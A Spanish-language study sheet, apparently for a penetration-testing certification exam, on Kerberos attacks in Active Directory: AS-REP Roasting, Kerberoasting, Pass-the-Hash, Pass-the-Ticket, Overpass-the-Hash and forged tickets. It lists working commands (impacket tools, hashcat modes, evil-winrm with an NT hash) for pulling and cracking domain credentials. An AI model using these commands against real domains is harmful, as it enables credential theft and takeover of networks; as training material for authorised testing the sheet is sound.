AD: ataques Kerberos
Dos ataques que casi siempre entran en el examen y no necesitan ser admin: AS-REP Roasting y Kerberoasting. Los dos te dan hashes crackeables de usuarios del dominio. Más el arte de reutilizar hashes y tickets (PtH, PtT, Overpass). Esto es lo que convierte 'un usuario' en 'un usuario con más poder'.
🎫AS-REP Roasting
Usuarios con "no requerir preautenticación Kerberos" activado: puedes pedir su AS-REP sin conocer su clave y te llevas un hash crackeable offline. No necesitas credenciales previas, solo el nombre de usuario.
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass (o con una credencial, -request).hashcat -m 18200 hash.txt rockyou.txt -> contraseña en claro.🔐Kerberoasting
Cualquier usuario autenticado puede pedir el TGS de una cuenta de servicio (con SPN). Parte del TGS va cifrada con el hash de esa cuenta de servicio -> lo crackeas offline. Las cuentas de servicio suelen tener contraseñas débiles y muchos privilegios: combo perfecto.
impacket-GetUserSPNs dominio/usuario:pass -request -> hashes de las cuentas con SPN.hashcat -m 13100 hash.txt rockyou.txt -> clave de la cuenta de servicio.🔀Reutilizar: PtH, PtT, Overpass-the-Hash
| Pass-the-Hash (PtH) | usar el hash NT para autenticar por NTLM: evil-winrm -i IP -u user -H HASH, crackmapexec -H, impacket -hashes. |
| Overpass-the-Hash | del hash NT a un TGT de Kerberos (getTGT) -> operar con Kerberos sin la clave. |
| Pass-the-Ticket (PtT) | inyectar un TGT/TGS robado (de LSASS, de un dump) y usarlo directamente. |
| Silver / Golden Ticket | forjar TGS (con el hash del servicio) / TGT (con el hash de krbtgt). Golden = control total; se ve más en persistencia (AD-5). |
sudo ntpdate DC_IP o rdate. Kerberos exige relojes cercanos.